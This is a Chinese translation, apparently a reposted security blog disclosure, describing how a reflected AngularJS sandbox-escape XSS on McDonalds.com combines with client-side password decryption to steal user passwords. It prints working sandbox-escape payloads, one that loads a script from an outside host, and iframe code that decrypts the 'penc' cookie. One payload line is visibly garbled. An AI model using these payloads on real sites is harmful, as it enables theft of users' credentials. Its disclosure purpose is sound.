通过滥用一个不安全加密存储漏洞( 点击查看 )和反射型服务端跨站脚本漏洞( 点击查看 )就可以从麦当劳盗取并解密用户密码。除此之外,其他个人信息,如用户姓名、地址和联系方式都可能被盗。
McDonalds.com包括一个搜索页面在页面的源码上体现了一个搜索参数(q)的值。所以当我们在页面上搜索***********-test-reflected-test-***********的时候响应会如下所示:
麦当劳使用AngularJS所以我们可以尝试使用搜索值列出唯一ID的范围。我们可以通过修改q参数为{{$id}}。我们可以看到{{$id}}被转换成9,AngularJS范围内唯一的ID(单调递增)。
使用{{alert(1)}}并不会弹窗,因为所有的AngularJS代码都在沙箱中执行。然而 AngularJS沙箱是不安全的。事实上,它完全不应被信任。在1.6版本( source )中甚至因为虚假安全而被移除。PortSwigger 写了一篇很好的博文( 点击阅读 )关于AngularJS沙箱的逃离技术。
我们首先要找到McDonalds.com的AngularJS版本。我们可以在 console执行angular.version
版本是1.5.3,沙箱逃逸我们需要
{{x ={'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
我们使用这个沙箱逃逸作为搜索值,并以此导致弹窗。
我们甚至可以在沙箱逃逸后加载外部Javascript文件,并导致下面的弹窗。
{{x = {'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=$.getScript(`https://finnwea.com/snippets/external-alert.js`)');}}`
因为麦当劳没有使用CSP(content-security-policy)头, Javascript可以被加载任意域名。
在McDonalds.com上我注意到的另一件事情是他们的登录页面,包含了一个非常特殊的复选框。正常来说你可以在登录过后选择“记住我”,但麦当劳的登录页面留给我们记住密码的选项。
我在所有的Javascript中搜索password关键字并找到一些有趣的解密代码。
如果说有一件事情是不应该做的,那就是在客户端解密(甚至使用双向加密存储密码)。我尝试运行自己的代码,而且成功了!
penc 是一个在cookie中存储一年的值。LOL !
麦当劳使用CryptoJS来加密和解密敏感数据。他们为所有用户使用相同的Key(密钥 )和IV(初始化向量),这意味着我只要盗取了penc的cookie解密某人的密码
我尝试在搜索页面使用一个恶意搜索payload来解密我的密码,但没有成功。因为AngularJS 的沙箱逃逸载荷替代了chartAt方法为join方法,getcookie 方法失败了。getcookie方法会尝试通过检查charAt(0)是否为空格来去除 cookie值中的空格。在下图,你可以看到如果在搜索页面成功执行.charAt(0)返回字符串与 0 相联结。
我写了一些Javascript在主页上加载iframe ,并通过iframe盗取用户cookie 。因为沙箱逃逸的缘故,载荷需要执行多次,我跟踪变量 xssIsExecuted,这样 payload 只执行一次。
if (!window.xssIsExecuted) { window.xssIsExecuted = true; var iframe = $('<iframe src="https://www.mcdonalds.com/us/en-us.html"></iframe>'); $('body').append(iframe); iframe.on('load', function() { var penc = iframe[0].contentWindow.getCookie('penc'); alert(iframe[0].contentWindow.decrypt(penc)); }); }
现在我们可以使用下列沙箱逃逸,成功弹窗!
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].jo donalds-password-stealer.js`)');}}
这些都相当简单,我联系了麦当劳多次并报告问题,不幸的是他们没有任何回应,这就是为什么我决定披露此漏洞的原因。
*参考来源: Finnwea.com ,FB小编heiben编译,转载请注明来自FreeBuf.COM